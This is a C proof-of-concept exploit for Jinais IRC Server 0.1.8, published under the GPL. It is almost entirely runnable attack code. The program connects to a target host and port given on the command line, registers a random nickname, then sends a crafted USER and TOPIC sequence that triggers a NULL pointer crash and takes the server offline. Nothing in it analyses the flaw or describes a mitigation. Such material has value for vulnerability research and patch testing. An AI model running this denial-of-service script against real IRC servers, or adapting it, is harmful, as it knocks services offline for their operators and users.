Jinais IRC Server 0.1.8 – Null Pointer (PoC)
/* Jinais IRC Server 0.1.8 - NULL Pointer PoC This PoC will disconnect the affected target IRC server using a NULL Pointer vulnerability. Copyright 2010 Salvatore Fresta aka Drosophila This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation,Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA http://www.gnu.org/licenses/gpl-2.0.txt */ #include <stdio.h> #include <string.h> #include <getopt.h> #include <stdlib.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #define close closesocket #else #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #endif #define BUFF_SIZE 256 #define DEFAULT_PORT 4002 int socket_connect(char *server, int port); char *socket_receive(int sock, int tout); int socket_send(int socket, char *buffer, size_t size); int socket_close(int socket); int main(int argc, char *argv[]) { int sd, rnd_num, len, port = DEFAULT_PORT; char pkg[BUFF_SIZE], *response = NULL, *host = NULL; if(argc < 2) { printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta" "\nhttp://www.salvatorefresta.net" "\n" "\nUsage: %s <target_hostname> <port> (default: %d)\n\n", argv[0], port); return -1; } srand(time(NULL)); host = argv[1]; if(argc > 2) port = atoi(argv[2]); printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta" "\nhttp://www.salvatorefresta.net" "\n\n[*] Connecting to %s:%hu...", host, port); sd = socket_connect(host, port); if(sd < 0) { printf("\n[-] Error on connect!\n\n"); return -1; } printf("\n[+] Connection estabilished" "\n[*] Loggin to IRC server..."); login: rnd_num = rand()%100+1; len = snprintf(pkg, sizeof(pkg), "NICK randomnickname%d\r\n", rnd_num); if(len < 0 || len > sizeof(pkg)) { perror("\n[-] Error: snprintf"); socket_close(sd); return -1; } if(socket_send(sd, pkg, len) < 0) { perror("\n[-] Error: socket_send"); socket_close(sd); return -1; } response = socket_receive(sd, 3); if(!response) { perror("\n[-] Error: socket_receive"); socket_close(sd); return -1; } if(strstr(response, "Nickname is already in use")) { free(response); goto login; } free(response); printf("\n[+] Login successfully" "\n[*] Data sending..."); rnd_num = rand()%100+1; len = snprintf(pkg, sizeof(pkg), "USER blabla\r\nTOPIC #ch%d\r\n", rnd_num); if(len < 0 || len > sizeof(pkg)) { perror("\n[-] Error: snprintf"); socket_close(sd); return -1; } if(socket_send(sd, pkg, len) < 0) { perror("\n[-] Error: socket_send"); socket_close(sd); return -1; } response = socket_receive(sd, 3); if(!response) { perror("\n[-] Error: socket_receive"); socket_close(sd); return -1; } socket_close(sd); printf("\n[+] Data sent successfully" "\n[+] Connection closed\n\n"); return 0; } int socket_connect(char *server, int port) { int sd; struct sockaddr_in sock; struct hostent *host = NULL; #ifdef WIN32 WSADATA wsadata; if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1; #endif memset(&sock, 0, sizeof(sock)); if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; sock.sin_family = AF_INET; sock.sin_port = htons(port); if(!(host=gethostbyname(server))) return -1; sock.sin_addr = *((struct in_addr *)host->h_addr); if(connect(sd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1; return sd; } char *socket_receive(int sock, int tout) { int ret, byte_recv, oldpkglen = 0, pkglen = 0; char *buffer = NULL, tmp[128]; struct timeval timeout; fd_set input; if(sock < 0) return NULL; while (1) { FD_ZERO(&input); FD_SET(sock, &input); if(tout > 0) { timeout.tv_sec = tout; timeout.tv_usec = 0; ret = select(sock + 1, &input, NULL, NULL, &timeout); } else ret = select(sock + 1, &input, NULL, NULL, NULL); if (!ret) break; if (ret < 0) return NULL; byte_recv = recv(sock, tmp, sizeof(tmp), 0); if(byte_recv < 0) return NULL; if(!byte_recv) break; oldpkglen = pkglen; pkglen += byte_recv; buffer = (char *) realloc(buffer, pkglen+1); if(!buffer) return NULL; memcpy(buffer+oldpkglen, tmp, byte_recv); } if(buffer) buffer[pkglen] = 0; return buffer; } int socket_send(int socket, char *buffer, size_t size) { if(socket < 0) return -1; return send(socket, buffer, size, 0) < 0 ? -1 : 0; } int socket_close(int socket) { if(socket < 0) return -1; return close(socket) < 0 ? -1 : 0; } |